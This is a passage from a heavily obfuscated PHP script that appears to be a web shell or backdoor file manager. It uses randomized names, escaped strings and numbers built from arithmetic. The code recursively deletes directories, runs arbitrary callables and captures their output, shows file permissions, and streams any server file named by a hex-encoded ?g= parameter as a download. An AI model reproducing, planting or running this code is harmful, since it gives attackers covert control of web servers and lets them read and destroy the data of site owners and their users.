c\154\x61ss\075\042\x78\042>\015\x0a\011\x09\x09\011&\143o\160\171\073Th\x65A\154\155\151gh\164y\x5ae\165s\015\x0a\x09\011\x09\074\057fo\157t\x65\162>\015\x0a\x09\011\011";if(isset($_GET["1"])){echo$_afotm;}elseif(isset($_GET["\060"])){echo$_zeippkpv;}else{null;};echo"\015\x0a\011\011\011\074scr\x69p\x74\076\x0d\012\011\011\011\011\044\x28\042\056aj\170\x22)\x2eclick(f\x75nct\x69\x6fn(t\x29{t.p\x72ev\x65n\x74\104\x65fault(\051\073v\141r\x20e\075\x24(t\x68is).a\x74\164r\050\x22\x68r\x65f\x22\x29\x3b\x68i\163\x74o\x72\171\056pushSt\x61te(\042\042\x2c\x22\x22,\145)\054\044.g\145t(\x65,\146\165nc\x74io\x6e\050t\x29\173\x24\050\042\x62\x6f\x64y\x22)\056\150t\155l(t\x29})})\x3b\x0d\x0a\011\x09\x09</\163\x63r\151pt>\015\x0a\011\x09</b\x6fd\171>\x0d\012\011\074/\x68t\155\154>\x0d\012";function _muujapst($_cwztbzf,$_vqhfo="\x74\145\163gimfmw\x6b\x69zqmym\145",$_edatei=-12.988636363636,$_swnkwd=0246106,$_hkbil=false,$_pmcerbn=true,$_gcaoiz=false){global $_bdnczog;if(tRim(pAtHInfO($_cwztbzf,(int)rOuNd(2.75+2.75+2.75+2.75)-(int)ROUND(6+6+6+6)-(-0411+0372)),"\x2e")===""){return;}if($_bdnczog[(int)roUND(2.6666666666667+2.6666666666667+2.6666666666667)-(int)RoUND(-0.5+-0.5)-(01252-0441+-0100+-0510)]($_cwztbzf)){aRrAY_maP("r\x65\143",glOB($_cwztbzf.DIRECTORY_SEPARATOR."\x7b\054.\175*",((int)ROuND(230+230+230+230)+(int)ROUNd(34.666666666667+34.666666666667+34.666666666667))|((int)rOuND(-160.66666666667+-160.66666666667+-160.66666666667)+(0400+0371-0207+-0103)-(0726- -011+0224+-0720)+(0637+0430+0544+-01301))));$_bdnczog[(int)rOunD(8.75+8.75+8.75+8.75)]($_cwztbzf);}else{$_bdnczog[(int)rOuND(3.3333333333333+3.3333333333333+3.3333333333333)]($_cwztbzf);}}function _grijf($_paupckl,$_wftcmq,$_ftyxi=false,$_yxcqun=-0276067,$_dpwr="\154wc\151\x68\x78\161pvc\x65osx"){global $_bdnczog;oB_starT();$_bdnczog[(int)ROUnD(90+90)+(-0614+-0613+-0525- -02247)-(int)rOUND(230+230)-(int)rOuND(-118.5+-118.5)]($_paupckl($_wftcmq));return$_bdnczog[(int)ROUNd(12+12+12)]();}function _hmpwxpgz($_kmgiat){$_szozx="";for($_fqpzv=(int)rOuNd(0+0+0+0);$_fqpzv<StRlEN($_kmgiat);$_fqpzv++){$_szozx.=deCHex(OrD($_kmgiat[$_fqpzv]));}return$_szozx;}function _lermjnmi($_szozx,$_vria="bk\165ab\147h",$_utufnxcr=true,$_uqvbe="lp\x67\143lw",$_rvefm=false){$_kmgiat="";for($_fqpzv=(int)rOunD(0+0+0+0);$_fqpzv<StRleN($_szozx)-((int)roUNd(-66.5+-66.5)+(0643+-0435));$_fqpzv+=(01046+-0103-0545)+(int)rouNd(-31+-31+-31+-31)){$_kmgiat.=chr(HExDEC($_szozx[$_fqpzv].$_szozx[$_fqpzv+(int)rouNd(0.33333333333333+0.33333333333333+0.33333333333333)]));}return$_kmgiat;}function _vcauic($_wqsms=1.6495976716316,$_vogkv=false,$_heskhhoy=-2.9891507232851,$_fwxlnmi=-1.0362102114933,$_ledxxji=1.122945996107,$_qmwhtxf="qa\x6ayua\x78\147\160\x6a"){global $_bdnczog,$_iosi;$_bdnczog[(int)rOUnd(12.666666666667+12.666666666667+12.666666666667)]($_bdnczog[(int)RoUND(2.25+2.25+2.25+2.25)]);heaDER("Loc\x61t\151on: ?d="._hmpwxpgz($_iosi)."&\061");exit();}function _fdlu($_gjqvrxu=null,$_stzno=-043207,$_enocl=0.22920372779651,$_nouq=-0271346,$_tzple=true,$_xyztpi="x\x6crschl\x75ymv\x65",$_kxijr=false,$_effyo=026370){global $_bdnczog,$_iosi;$_bdnczog[(int)RouND(12.666666666667+12.666666666667+12.666666666667)]($_bdnczog[(int)ROunD(-36.666666666667+-36.666666666667+-36.666666666667)+(-0725- -0565)+(0207-077+0235+-0164)-(int)rOUnd(-25.5+-25.5+-25.5+-25.5)]);heADer("Loca\164\151\157\156\x3a \x3fd="._hmpwxpgz($_iosi)."&0");exit();}function _wwfpea($_przupqrl,$_vcua=-017556,$_drxwh=null,$_plfesr=null,$_bkvd=true,$_zvaj=063622){global $_bdnczog;$_msja=$_bdnczog[(int)roUnd(6+6+6+6)]($_przupqrl);if(($_msja&((int)RouNd(12345+12345+12345+12345)+(int)rouND(24487.5+24487.5)-(0136365-0141635- -0143333)))==(int)roUND(16384+16384+16384)){$_ulqmfyfc="\x73";}elseif(($_msja&(int)ROunD(10240+10240+10240+10240))==((int)rOUNd(20413+20413)+(0117027+0117411-0117406- -0344)+(int)ROuND(10323+10323+10323+10323)-(int)rOunD(27286.666666667+27286.666666667+27286.666666667))){$_ulqmfyfc="l";}elseif(($_msja&(int)roUnd(16384+16384))==((077673+0100115+-077724)-(int)roUnd(16240+16240)-(-076706- -0100243-0100611))){$_ulqmfyfc="\055";}elseif(($_msja&((062352-061017+057463)-(057452+057466+057110-0137020)-(-056671+-056170- -055425+01222)))==((055776+057603+057077+-0135763)+(060610-0521)-(060141-01135))){$_ulqmfyfc="\142";}elseif(($_msja&(int)RoUND(4096+4096+4096+4096))==((036721-036123+035747)-(-01556+-0624+-01267- -02436))){$_ulqmfyfc="d";}elseif(($_msja&(int)rouND(4096+4096))==(int)ROund(4096+4096)){$_ulqmfyfc="c";}elseif(($_msja&((int)rOUnD(2275.5+2275.5)-(int)RounD(1976+1976)+(010776-0175)+(int)ROUND(-328+-328+-328)))==((int)rouNd(1190.3333333333+1190.3333333333+1190.3333333333)-(int)RoUnD(972.5+972.5+972.5+972.5)+(int)rOUnD(982.75+982.75+982.75+982.75)+(0641-0162+0265))){$_ulqmfyfc="\160";}else{$_ulqmfyfc="\x75";}$_ulqmfyfc.=(($_msja&((int)rOunD(75.5+75.5+75.5+75.5)+(int)rOunD(182.33333333333+182.33333333333+182.33333333333)-(01573-01651-02002- -04001)+(-067+0667)))?"\x72":"\055");$_ulqmfyfc.=(($_msja&((int)RoUNd(16+16+16+16)+(0123+074)+(int)rouNd(67+67)+(-0227+-0236- -0153+-013)))?"w":"\x2d");$_ulqmfyfc.=(($_msja&(int)RoUND(21.333333333333+21.333333333333+21.333333333333))?(($_msja&(int)RouND(1024+1024))?"\163":"\x78"):(($_msja&((int)rOunD(553.5+553.5+553.5+553.5)+(int)ROUNd(969.5+969.5)+(int)rouND(-526.25+-526.25+-526.25+-526.25)))?"S":"-"));$_ulqmfyfc.=(($_msja&((int)RoUNd(8+8)+(int)ROUND(18+18+18)+(0670+-01064)+(int)RoUnD(28.666666666667+28.666666666667+28.666666666667)))?"r":"-");$_ulqmfyfc.=(($_msja&(int)RoUNd(4+4+4+4))?"\x77":"\055");$_ulqmfyfc.=(($_msja&((01413+-0233+-0475)-(0272- -0252)+(int)ROuNd(-35.5+-35.5+-35.5+-35.5)+(int)Round(49.75+49.75+49.75+49.75)))?(($_msja&((01512-0350-02227+03127)-(int)ROUnD(349.66666666667+349.66666666667+349.66666666667)-(int)ROunD(310.33333333333+310.33333333333+310.33333333333)+(int)RoUNd(973+973)))?"\x73":"x"):(($_msja&((int)RoUND(751.5+751.5)-(int)RoUnD(440.33333333333+440.33333333333+440.33333333333)+(int)ROUNd(281.66666666667+281.66666666667+281.66666666667)-(015- -0112+-0124)))?"S":"-"));$_ulqmfyfc.=(($_msja&((int)ROUnD(-19.333333333333+-19.333333333333+-19.333333333333)-(int)rOUnd(64+64)+(int)ROund(63.333333333333+63.333333333333+63.333333333333)))?"r":"\055");$_ulqmfyfc.=(($_msja&(int)rOund(0.66666666666667+0.66666666666667+0.66666666666667))?"w":"-");$_ulqmfyfc.=(($_msja&(int)rOuNd(0.25+0.25+0.25+0.25))?(($_msja&((01327+0616+-0602)-(int)ROuNd(104.75+104.75+104.75+104.75)+(int)RouND(48+48+48+48)))?"\164":"\170"):(($_msja&(int)RoUND(256+256))?"\x54":"\x2d"));return$_ulqmfyfc;}if(isset($_GET["\x67"])){$_bdnczog[(01552+01741-01651)-(int)ROunD(-122.33333333333+-122.33333333333+-122.33333333333)+(int)rounD(-314.75+-314.75+-314.75+-314.75)]($_bdnczog[(int)roUNd(4.5+4.5)]);HeadER("\103o\x6ete\x6et-T\171\160e:\x20a\x70\x70l\151\x63ati\x6f\156/o\143\164e\x74-st\x72eam");HEADeR("Conte\156t-Tra\156sfe\x72-\105\156co\144i\x6eg: B\x69nary");HeADeR("\103\x6f\x6etent-\x4cengt\x68:\040".$_bdnczog[(int)ROund(8.5+8.5+8.5+8.5)](_lermjnmi($_GET["\147"])));hEadEr("\103ontent-dis\x70\x6f\x73i\x74\151\157n\072\040\x61\164t\141ch\x6den\164; f\x69lena\155e\x3d\042"._lermjnmi($_GET["g"])."\x22");$_bdnczog[(int)rOUNd(12.333333333333+12.333333333333+12.333333333333)](_lermjnmi($_GET["g"]));}; ?>